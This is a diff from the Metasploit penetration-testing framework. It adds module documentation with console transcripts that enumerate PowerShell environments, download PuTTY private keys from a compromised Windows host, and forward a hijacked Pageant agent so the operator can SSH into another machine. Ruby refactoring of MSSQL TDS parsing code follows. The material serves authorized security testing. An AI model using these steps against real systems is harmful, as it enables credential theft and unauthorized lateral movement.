msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against test (192.168.200.158)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: RemoteSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] No PowerShell Snap-Ins are installed
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
|
||||
[*] C:\Program Files (x86)\Microsoft SQL Server\120\Tools\PowerShell\Modules\
|
||||
[*] C:\Program Files (x86)\AutoIt3\AutoItX
|
||||
[*] PowerShell Modules:
|
||||
[*] PSDiagnostics
|
||||
[*] TroubleshootingPack
|
||||
[*] SQLASCMDLETS
|
||||
[*] SQLPS
|
||||
[*] AutoItX.chm
|
||||
[*] AutoItX.psd1
|
||||
[*] AutoItX3.Assembly.dll
|
||||
[*] AutoItX3.Assembly.xml
|
||||
[*] AutoItX3.dll
|
||||
[*] AutoItX3.PowerShell.dll
|
||||
[*] AutoItX3_DLL.h
|
||||
[*] AutoItX3_DLL.lib
|
||||
[*] AutoItX3_x64.dll
|
||||
[*] AutoItX3_x64_DLL.lib
|
||||
[*] Examples
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Running with elevated privileges. Extracting user list ...
|
||||
[*] Checking asdf
|
||||
[*] Checking DefaultAppPool
|
||||
[*] Checking MSSQL$SQLEXPRESS
|
||||
[*] Checking MSSQLSERVER
|
||||
[*] Checking postgres
|
||||
[*] Checking test
|
||||
[*] Checking user
|
||||
[*] Found PowerShell profile 'C:\Users\user\Documents\WindowsPowerShell\profile.ps1' for user:
|
||||
Get-Host | Select-Object Version
|
||||
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
### Windows 11 Pro (10.0.22000 N/A Build 22000)
|
||||
|
||||
```
|
||||
|
||||
msf6 > use post/windows/gather/enum_powershell_env
|
||||
msf6 post(windows/gather/enum_powershell_env) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_powershell_env) > run
|
||||
|
||||
[*] Running module against WinDev2110Eval (192.168.200.140)
|
||||
[*] PowerShell is installed on this system.
|
||||
[*] Version: 2.0
|
||||
[*] Execution Policy: AllSigned
|
||||
[*] Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||
[*] PowerShell Snap-Ins:
|
||||
[*] Snap-In: WDeploySnapin3.0
|
||||
[*] (Default):
|
||||
[*] ApplicationBase: C:\Program
|
||||
[*] AssemblyName: Microsoft.Web.Deployment.PowerShell,
|
||||
[*] Description: This
|
||||
[*] ModuleName: Microsoft.Web.Deployment.PowerShell.dll
|
||||
[*] PowerShellVersion: 2.0
|
||||
[*] Vendor: Microsoft
|
||||
[*] Version: 9.0.0.0
|
||||
[*] PowerShell Modules paths:
|
||||
[*] C:\Users\User\Documents\WindowsPowerShell\Modules
|
||||
[*] C:\Program Files\WindowsPowerShell\Modules
|
||||
[*] C:\Windows\system32\WindowsPowerShell\v1.0\Modules
|
||||
[*] PowerShell Modules:
|
||||
[*] Azure
|
||||
[*] Azure.AnalysisServices
|
||||
[*] Azure.Storage
|
||||
[*] AzureRM
|
||||
[*] AzureRM.AnalysisServices
|
||||
[*] AzureRM.ApiManagement
|
||||
[*] AzureRM.ApplicationInsights
|
||||
[*] AzureRM.Automation
|
||||
[*] AzureRM.Backup
|
||||
[*] AzureRM.Batch
|
||||
[*] AzureRM.Billing
|
||||
[*] AzureRM.Cdn
|
||||
[*] AzureRM.CognitiveServices
|
||||
[*] AzureRM.Compute
|
||||
[*] AzureRM.Consumption
|
||||
[*] AzureRM.ContainerInstance
|
||||
[*] AzureRM.ContainerRegistry
|
||||
[*] AzureRM.DataFactories
|
||||
[*] AzureRM.DataFactoryV2
|
||||
[*] AzureRM.DataLakeAnalytics
|
||||
[*] AzureRM.DataLakeStore
|
||||
[*] AzureRM.DevTestLabs
|
||||
[*] AzureRM.Dns
|
||||
[*] AzureRM.EventGrid
|
||||
[*] AzureRM.EventHub
|
||||
[*] AzureRM.HDInsight
|
||||
[*] AzureRM.Insights
|
||||
[*] AzureRM.IotHub
|
||||
[*] AzureRM.KeyVault
|
||||
[*] AzureRM.LogicApp
|
||||
[*] AzureRM.MachineLearning
|
||||
[*] AzureRM.MachineLearningCompute
|
||||
[*] AzureRM.MarketplaceOrdering
|
||||
[*] AzureRM.Media
|
||||
[*] AzureRM.Network
|
||||
[*] AzureRM.NotificationHubs
|
||||
[*] AzureRM.OperationalInsights
|
||||
[*] AzureRM.PowerBIEmbedded
|
||||
[*] AzureRM.Profile
|
||||
[*] AzureRM.RecoveryServices
|
||||
[*] AzureRM.RecoveryServices.Backup
|
||||
[*] AzureRM.RecoveryServices.SiteRecovery
|
||||
[*] AzureRM.RedisCache
|
||||
[*] AzureRM.Relay
|
||||
[*] AzureRM.Resources
|
||||
[*] AzureRM.Scheduler
|
||||
[*] AzureRM.ServerManagement
|
||||
[*] AzureRM.ServiceBus
|
||||
[*] AzureRM.ServiceFabric
|
||||
[*] AzureRM.SiteRecovery
|
||||
[*] AzureRM.Sql
|
||||
[*] AzureRM.Storage
|
||||
[*] AzureRM.StreamAnalytics
|
||||
[*] AzureRM.Tags
|
||||
[*] AzureRM.TrafficManager
|
||||
[*] AzureRM.UsageAggregates
|
||||
[*] AzureRM.Websites
|
||||
[*] Microsoft.PowerShell.Operation.Validation
|
||||
[*] PackageManagement
|
||||
[*] Pester
|
||||
[*] PowerShellGet
|
||||
[*] PSReadline
|
||||
[*] AppBackgroundTask
|
||||
[*] AppLocker
|
||||
[*] AppvClient
|
||||
[*] Appx
|
||||
[*] AssignedAccess
|
||||
[*] BitLocker
|
||||
[*] BitsTransfer
|
||||
[*] BranchCache
|
||||
[*] CimCmdlets
|
||||
[*] ConfigCI
|
||||
[*] ConfigDefender
|
||||
[*] ConfigDefenderPerformance
|
||||
[*] Defender
|
||||
[*] DeliveryOptimization
|
||||
[*] DirectAccessClientComponents
|
||||
[*] Dism
|
||||
[*] DnsClient
|
||||
[*] EventTracingManagement
|
||||
[*] Get-NetView
|
||||
[*] HostNetworkingService
|
||||
[*] International
|
||||
[*] iSCSI
|
||||
[*] ISE
|
||||
[*] Kds
|
||||
[*] Microsoft.PowerShell.Archive
|
||||
[*] Microsoft.PowerShell.Diagnostics
|
||||
[*] Microsoft.PowerShell.Host
|
||||
[*] Microsoft.PowerShell.LocalAccounts
|
||||
[*] Microsoft.PowerShell.Management
|
||||
[*] Microsoft.PowerShell.ODataUtils
|
||||
[*] Microsoft.PowerShell.Security
|
||||
[*] Microsoft.PowerShell.Utility
|
||||
[*] Microsoft.Windows.Bcd.Cmdlets
|
||||
[*] Microsoft.WSMan.Management
|
||||
[*] MMAgent
|
||||
[*] MsDtc
|
||||
[*] NetAdapter
|
||||
[*] NetConnection
|
||||
[*] NetEventPacketCapture
|
||||
[*] NetLbfo
|
||||
[*] NetNat
|
||||
[*] NetQos
|
||||
[*] NetSecurity
|
||||
[*] NetSwitchTeam
|
||||
[*] NetTCPIP
|
||||
[*] NetworkConnectivityStatus
|
||||
[*] NetworkSwitchManager
|
||||
[*] NetworkTransition
|
||||
[*] PcsvDevice
|
||||
[*] PersistentMemory
|
||||
[*] PKI
|
||||
[*] PnpDevice
|
||||
[*] PrintManagement
|
||||
[*] ProcessMitigations
|
||||
[*] Provisioning
|
||||
[*] PSDesiredStateConfiguration
|
||||
[*] PSDiagnostics
|
||||
[*] PSScheduledJob
|
||||
[*] PSWorkflow
|
||||
[*] PSWorkflowUtility
|
||||
[*] ScheduledTasks
|
||||
[*] SecureBoot
|
||||
[*] SmbShare
|
||||
[*] SmbWitness
|
||||
[*] StartLayout
|
||||
[*] Storage
|
||||
[*] StorageBusCache
|
||||
[*] TLS
|
||||
[*] TroubleshootingPack
|
||||
[*] TrustedPlatformModule
|
||||
[*] UEV
|
||||
[*] VMDirectStorage
|
||||
[*] VpnClient
|
||||
[*] Wdac
|
||||
[*] Whea
|
||||
[*] WindowsDeveloperLicense
|
||||
[*] WindowsErrorReporting
|
||||
[*] WindowsSearch
|
||||
[*] WindowsUpdate
|
||||
[*] Checking if users have PowerShell profiles
|
||||
[*] Checking User
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
|
||||
If a target Windows machine is compromised and is running Pageant, this will allow the
|
||||
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
|
||||
tunneled through the meterpreter session. This could therefore be used to authenticate
|
||||
with a remote host using a private key which is loaded into a remote user's Pageant instance,
|
||||
without ever having knowledge of the private key itself.
|
||||
|
||||
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
|
||||
loaded into the remote meterpreter session by this module if it is not already loaded.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Get a Meterpreter session
|
||||
3. Do: `use post/windows/manage/forward_pageant`
|
||||
4. Do: `set SESSION <session id>`
|
||||
5. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### SocketPath
|
||||
|
||||
Specify a filename for the local UNIX socket. (default path is random)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Pageant 0.77.0.0 on Windows 7 SP1 (x64)
|
||||
|
||||
Use `windows/gather/enum_putty_saved_sessions` to detect Pageant and known hosts:
|
||||
|
||||
```
|
||||
msf6 > use post/windows/gather/enum_putty_saved_sessions
|
||||
msf6 post(windows/gather/enum_putty_saved_sessions) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/gather/enum_putty_saved_sessions) > run
|
||||
|
||||
[*] Looking for saved PuTTY sessions
|
||||
[*] Found 3 sessions
|
||||
|
||||
PuTTY Saved Sessions
|
||||
====================
|
||||
|
||||
Name HostName UserName PublicKeyFile PortNumber PortForwardings ProxyUsername ProxyPassword
|
||||
---- -------- -------- ------------- ---------- --------------- ------------- -------------
|
||||
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk 22
|
||||
example.com example.com C:\Users\user\Desktop\serial1.ppk 22
|
||||
serial1 C:\Users\user\Desktop\serial1.ppk 0
|
||||
|
||||
[+] PuTTY saved sessions list saved to /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.sessions.c_273976.txt in CSV format & available in notes (use 'notes -t putty.savedsession' to view).
|
||||
[*] Downloading private keys...
|
||||
[+] PuTTY private key file for '192.168.200.158' (C:\Users\user\Desktop\ubuntu22.ppk) saved to: /root/.msf4/loot/20220807223341_default_192.168.200.190_putty.ppk.file_988729.bin
|
||||
[+] PuTTY private key file for 'example.com' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_341943.bin
|
||||
[+] PuTTY private key file for 'serial1' (C:\Users\user\Desktop\serial1.ppk) saved to: /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.ppk.file_265111.bin
|
||||
|
||||
|
||||
PuTTY Private Keys
|
||||
==================
|
||||
|
||||
Name HostName UserName PublicKeyFile Type Cipher Comment
|
||||
---- -------- -------- ------------- ---- ------ -------
|
||||
192.168.200.158 192.168.200.158 C:\Users\user\Desktop\ubuntu22.ppk
|
||||
example.com example.com C:\Users\user\Desktop\serial1.ppk
|
||||
serial1 C:\Users\user\Desktop\serial1.ppk
|
||||
|
||||
|
||||
[*] Looking for previously stored SSH host key fingerprints
|
||||
[*] Found 1 stored key fingerprint
|
||||
[*] Downloading stored key fingerprints...
|
||||
|
||||
Stored SSH host key fingerprints
|
||||
================================
|
||||
|
||||
SSH Endpoint Key Type(s)
|
||||
------------ -----------
|
||||
192.168.200.158:22 ssh-ed25519
|
||||
|
||||
[+] PuTTY stored host keys list saved to /root/.msf4/loot/20220807223342_default_192.168.200.190_putty.storedfing_027625.txt in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).
|
||||
|
||||
[*] Looking for Pageant...
|
||||
[+] Pageant is running (Handle 0x330820)
|
||||
[*] Post module execution completed
|
||||
|
||||
```
|
||||
|
||||
Establish a local forward with `post/windows/manage/forward_pageant`:
|
||||
|
||||
```
|
||||
msf6 > use post/windows/manage/forward_pageant
|
||||
msf6 post(windows/manage/forward_pageant) > set session 1
|
||||
session => 1
|
||||
msf6 post(windows/manage/forward_pageant) > run
|
||||
|
||||
[*] Launched listening socket on /tmp/bVN4Dg2W
|
||||
[*] Set SSH_AUTH_SOCK variable to /tmp/bVN4Dg2W (e.g. export SSH_AUTH_SOCK="/tmp/bVN4Dg2W")
|
||||
[*] Now use any SSH tool normally (e.g. ssh-add)
|
||||
```
|
||||
|
||||
Specify the `SSH_AUTH_SOCK` UNIX socket path when using ssh tools:
|
||||
|
||||
```
|
||||
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh-add -l
|
||||
3072 SHA256:/M07p51CmCSMrV1lbFs19OMvyRw6g9Wxbq8bW5px0KA asdf@ubuntu-22-04-amd64 (RSA)
|
||||
|
||||
$ SSH_AUTH_SOCK="/tmp/bVN4Dg2W" ssh asdf@192.168.200.158
|
||||
Welcome to Ubuntu 22.04 LTS (GNU/Linux 5.15.0-25-generic x86_64)
|
||||
|
||||
* Documentation: https://help.ubuntu.com
|
||||
* Management: https://landscape.canonical.com
|
||||
* Support: https://ubuntu.com/advantage
|
||||
|
||||
209 updates can be applied immediately.
|
||||
29 of these updates are standard security updates.
|
||||
To see these additional updates run: apt list --upgradable
|
||||
|
||||
*** System restart required ***
|
||||
Last login: Sun Aug 7 22:19:04 2022 from 192.168.200.130
|
||||
asdf@ubuntu-22-04-amd64:~$
|
||||
```
|
||||
@@ -93,7 +93,7 @@ module Metasploit
|
||||
# @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default).
|
||||
# @return [nil] if the user does not have a `database.yml` in their config directory.
|
||||
def self.user_configurations_pathname
|
||||
Pathname.new(Msf::Config.get_config_root).join('database.yml')
|
||||
Pathname.new(Msf::Config.config_directory).join('database.yml')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -80,7 +80,7 @@ module Metasploit
|
||||
opt_hash
|
||||
)
|
||||
end
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET => e
|
||||
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error, Errno::ECONNRESET, Errno::EPIPE => e
|
||||
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
rescue Net::SSH::Exception => e
|
||||
status = Metasploit::Model::Login::Status::INCORRECT
|
||||
|
||||
@@ -0,0 +1,354 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
module MSSQL
|
||||
|
||||
# A base mixin of useful mssql methods for parsing structures etc
|
||||
module Base
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if len > 0 && len < 65535
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if len && len > 0
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if len && len > 0
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen * 2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen * 2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'metasploit/framework/tcp/client'
|
||||
require 'metasploit/framework/mssql/tdssslproxy'
|
||||
require 'metasploit/framework/mssql/base'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -8,32 +9,7 @@ module Metasploit
|
||||
module Client
|
||||
extend ActiveSupport::Concern
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
|
||||
#
|
||||
# This method connects to the server over TCP and attempts
|
||||
@@ -145,7 +121,7 @@ module Metasploit
|
||||
if tdsencryption == true
|
||||
proxy = TDSSSLProxy.new(sock)
|
||||
proxy.setup_ssl
|
||||
resp = proxy.send_recv(pkt, 15, false)
|
||||
resp = proxy.send_recv(pkt)
|
||||
else
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
end
|
||||
@@ -281,278 +257,6 @@ module Metasploit
|
||||
info[:login_ack] ? true : false
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
type = buff.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
nval = ''
|
||||
nlen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0
|
||||
|
||||
oval = ''
|
||||
olen = buff.slice!(0, 1).unpack('C')[0] || 0
|
||||
oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0
|
||||
|
||||
info[:envs] ||= []
|
||||
info[:envs] << { :type => type, :old => oval, :new => nval }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
ret = data.slice!(0, 4).unpack('N')[0]
|
||||
info[:ret] = ret
|
||||
info
|
||||
end
|
||||
|
